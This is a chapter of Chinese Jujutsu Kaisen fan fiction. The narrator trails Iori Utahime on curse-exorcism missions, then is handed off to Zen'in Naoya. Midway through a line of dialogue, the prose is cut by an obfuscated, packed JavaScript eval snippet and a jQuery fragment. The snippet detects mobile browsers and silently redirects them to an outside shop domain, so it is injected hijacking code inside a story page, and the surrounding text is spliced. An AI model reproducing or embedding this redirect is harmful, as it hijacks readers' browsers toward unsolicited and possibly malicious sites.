之后没两天,跟着前辈出任务的时机很快就来了。
带着我一起出任务的人是歌姬前辈。
她领着我,走进被清场的酒店大厅,轻车路熟地清理掉了几只低级咒灵,可它们都不是主要的任务目标。
庵歌姬一路走在前面,尽管平时与她相处总是能感觉到很松弛的气场,可在追踪咒灵时,她就进入了状态,也没忘记认真给我解说,以十分谨慎的态度观察四周,再指着地上一处痕迹,说:“记好了,小裕礼。”
“不管对手是诅咒师还是咒灵,只要使用术式,就会留下相应的痕迹。残秽的痕迹很难掩饰或者消除,只能自然消去,我们正是通过追查这些残秽来寻找对手的。”
也就是咒术界的痕迹学啊,我了然于心,追问了一句:“那其他的呢?”
“诶?”
“除了咒力以外的痕迹,还要注意什么吗?”
显然是被预想之外的问题问懵了,庵歌姬看起来有点茫然,但很快就反应过来,认真回答了我的问题。
“嗯,随机应变,就可以了吧。”她苦恼地思考了一阵,“我们的任务中会遇到的大都是没有智能的咒灵,就算有什么特殊情况,交给「窗」和辅助监督去追查就好。”
“欸……这样啊。”我轻轻收掉尾音。
我对痕迹的看法有点不同。
受害者失踪的时间、地点、乃至血迹的朝向,被吞吃的残肢,都该是痕迹的一种,和咒力残秽相辅相成,能提前判断出很多事。
尽管感受到了,但我对日本咒术界的教育方法太过原始这点有了更深刻的认识。除了术式和体术以外的培训都很不上心,也不会引导咒术师去思考。
与其说是在培养人,不如说是在培养刀。
庵歌姬作为能够独当一面的咒术师,经验很老道。
可现在的总部太过依赖「窗」的汇报,据我了解,对咒灵的等级评价只有不到百分之六十的准确率。
一味信任上头的判断很容易致命。
默然把视线从墙上呈现放射状的血迹移开,我用脚跟碾了碾地上的烟头,跟上庵歌姬的脚步。
这次跟着她一起出的任务,地点是在一家名为「真挚之心」的情人旅馆,接到消息的辅助监督小姐铃木说,出现在旅馆内的咒灵是刚孵化的,攻击性很强,现场已经有人死亡了。
与想象中不同,找到它并没有多困难。
庵歌姬没用几招就处理掉了这只咒灵,她连眼神都没给对方,只是叹了口气捡起地上的一只属于人类的断臂。
咒灵的残骸已经倒在地上,却还在静静哀嚎着怪异的话语。
“……痛……好痛……”
“对……不起……好痛…”
“怕……介……阳介……”
我在合适的时机为庵歌姬递上手帕,随后转过头去,看了眼逐渐消散的情绪集合物。
“歌姬前辈,咒灵嘴里所念的话语,有意义吗?”
“大部分是有的,但不要最好去听诅咒的话。”
庵歌姬把残肢收敛了一番,她应该见过很多次这样的事了,接过手帕后,合上他们的眼睛,替死者清洁了下遗容,就还算轻松地继续说了下去。
“咒灵的诞生源头,都是普通人的负面情感,焦虑、紧张、愤怒、嫉妒、憎恶……人本身是控制不住这些情绪的——我们咒术师面对的东西,也都是阴暗角落里,照不到光的污秽。”
她说:“小裕礼,最好别去深究那背后的东西,那只会让自己的心灵崩坏的。”
我再次看了眼死在这楼里的受害者们。
听起来,简直就像是人类无意识对自己的群体进行了诅咒呢。
“我明白了,歌姬前辈。”
我嘴上这么答着,解开「帐」的存在,却在转身通知辅助监督收场的时候,还是牢牢记住了刚刚消失的咒灵嘴里呼叫的那个名字。
在我的国家,不存在这么多能造成恶性伤害事件的咒灵。
这里只有一亿多的总人口,却诞生出如此多的怪物。
怎么想都没有歌姬前辈说的那么简单。
可惜接下来庵歌姬手上的任务都是一些普通的小角色了。
就比如……
我是没想到替饮食街处理掉古怪声音的源头也是咒术师会处理的范围。
“为……什么,为为为为什么……”
“草莓…草莓……”
“不可原谅……死……”
“草莓……麻婆豆腐……不可原谅……”
宛若活着的烂泥一般发出臭味的肮脏黑影,黏在房檐处一点点地活动,我看了看这人类的情绪排泄物,我再看了看旁边的中华料理店,对着上面的招牌宣传陷入了沉默,然后抓住了一边活动手脚准备攻击的歌姬的手。
“歌姬前辈。”我难得严肃地压低了声音,“你们日本人对麻婆豆腐都做了什么?”
庵歌姬:“啊?”
我痛彻心扉:“做出草莓麻婆豆腐这种难以让人原谅的东西,会有咒灵诞生这不是理所当然的吗!!”
庵歌姬茫然地眨了下眼:“……虽然不知道原因,但,呃……小裕礼,要不晚餐我请你吃正宗中华料理作为赔礼?”
我想了想,不争气地接受了,然后看着巫女打扮的少女跳起两米高,成功在几分钟里清理了这只三级咒灵。
下午七点二十九分零八秒,歌姬前辈带着我来到一家以正宗广获赞誉的中华料理店。
桌上那道名为水煮小笼包的菜让我再度哑口无言,但因为是别人请客吃饭,我只是保持缄默,最终动起筷子,出卖了自己的灵魂。
决定了。
从今往后,把日本的中华料理店通通拉入黑名单。
怀着满腔复杂的情绪,我用完了餐,此次的观摩学习也算完美落下帷幕。
夜色已经变深,辅助监督铃木小姐也就准备送我们回去,我拉好安全带,还没坐稳就见坐在驾驶座的女性从怀里摸出嗡嗡作响的手机。
庵歌姬:“……”
庵歌姬:“呃,不会吧,难道这时候又……”
铃木小姐挂断电话,苦笑道:“很遗憾,歌姬你的预感对了。”
“杉田卡拉OK厅,据「窗」说,那名二级咒灵能把自己藏进影子里,很多人已经被袭击了。”
“哈……还想说快点回去休息。”庵歌姬靠在后座上仰着脑袋,无奈地叹了口气,“没办法,准确的地址发给我,小裕礼这次就不用过去了,毕竟听起来还蛮危险的。铃木小姐,请把这孩子送回高专。”
“没关系,我可以打车。”我说。
“这是前辈的好意,乖~老实接受就行。”庵歌姬侧过头,又用手掌摸了摸我的头,“何况我要去的地方不远,用不着坐车……嗯,铃木小姐,总之拜托你了。”
“没事,把人交给我吧。”铃木小姐郑重地点点头。
我没有再说话,只能目送庵歌姬走下车,站在外面冲我笑语盈盈招手,直到被移动的车辆远远甩到了看不见的位置。
结果车辆开出去十分钟后,辅助监督的电话又一次响了起来。急切的铃声像是在催促什么,我看见铃木小姐靠边停下车,之后接起表情从疲惫,逐渐转换为惊愕,最后慢慢凝聚成由苦涩包装的挣扎。
“铃木小姐?”我出声道。
被我叫到的长发女性很迅速关了通话,努力向我挤出笑容。
“啊哈哈……不好意思……裕礼同学。”她的眉头皱起,很快平复,直接扭过头去,眼神故意避开了我,“突然有被安排其他的工作,我可能无法直接送你回去。”
说谎。
我没有说话,而是安静等待下文。
果然,接下来她所说的,才是她真正的用意。
“这附近有结束了任务的术师与辅助
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571983|142938||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
监督在,我会请示他们带裕礼同学一起回去。”
我直视着长发女性的背影,试图拒绝:“不必这么麻烦,我一个人回去也行。”
“……抱歉。”铃木小姐的声音放低了些许,“还是请您和那位术师汇合。”
啊,该来的还是来了,是吗。
我从手提袋里拿出手机,心底并不觉得意外,轻飘飘地回答道:“行,把我送过去吧。”
“……我很抱歉。”她又把这种无用的话说了一遍。
车窗缓缓关闭,隔绝了外面的尘土,只留下轿车本身空气不流通的胶臭味。车头扭转,开向与最开始截然不同的方向,我按响电话,像没事人一样问道:“对了,我今天的课程大概赶不上了,介意我给学校的前辈打个电话吗?”
铃木小姐松了口气:“当然。”
我轻声道了声谢,随后把电话拨响。
几声回响后,冥冥的声音出现在耳侧,能让人想到她是怎么睡眼惺忪从床上爬起来的场面,再用肩头夹着手机,慵懒出声:“嗯?怎么了?是有什么要送钱给我的事吗?”
“歌姬前辈做的别的任务去了,而我今晚课程可能赶不上了。”我一边解释一边说,“对了,您上次看好的小钱包,被五条同学拿走了,我没有办法啦,只有您自己出手。”
“……呵,我看好的小钱包,原来五条拿走了啊。”对方轻笑出声,“原来如此,我明白了。”
通话维持了不到二十秒,我望着外面一晃而过的光影,从挂掉电话后就没有再和铃木小姐说过一句话。直到车辆停下,我才拎着手提袋说了句再见,然后推开车门,转移到了路边另一辆黑色三菱的车内。
车门一打开,接受到了热烈的欢迎。
嗯,姑且这么形容吧。
“真是不懂礼节。”
加长的后座上,一名身穿黑色宽袖羽织的黑发少年靠着皮椅,手里把玩着一把匕首,头也没抬,满是轻蔑的开口了。
“作为女人,居然敢让男人等这么久。”
我:“……”
嘴很毒,但坐姿很规范,穿着也很讲究,不愧是老东西那边派来的代表。
我置若未闻地关上车门,平静地把脑袋扭到另一边外面的风景。
凡是御三家相关的重要人物信息,我都曾有过目,因此也知道眼前这名少年的来头——禅院直毘人的儿子,禅院直哉。
还好,小的总比大的好对付,我想。
也许是没能得到想象中的回应,他不满的声音很快拔高了。
“聋了吗?男人跟你说话时,你就该把头转过来,温顺谦卑地给我听从。”
“哦抱歉。”我稍稍偏过头,用余光去看他,“是在叫我么?”
“呵,当然是在叫你。”禅院直哉好生没好气地说,“这里除了你还有第二个女人吗?”
“这样啊,真对不起,前辈。”我大大方方地笑起来,视线追着他的脸孔一点点雕琢着,确保自己的眉眼间染透柔情,“很荣幸见到您。”
禅院直哉:“……”
禅院直哉动了动嘴唇,原本还想说些什么,但是都全部吞了回去,他看着我的脸,“哼”了一声,把匕首揣了回去,一开始那种咄咄逼人的气势收敛了点。
“不错,你是该荣幸。”他说,“我允许你对我自报家门。”
我从善如流地把手放在胸口前,“裕礼,这是我的名字。”
“连苗字都没有?不愧是血脉卑微的外国人。”少年人完全不掩自己话语里的嘲弄,以一种看货物的眼神,高高在上地说出后面的话:“记好了,我姓禅院,叫直哉,是禅院家的嫡子。”
好了,一名嫡庶神教的信徒,真可怜。
“认识您,三生有幸,禅院前辈。”
我挂着假面,用与精神病患者相处那样柔和的眼神注视对方,他却似乎误会了什么,更起劲地挺直了腰板。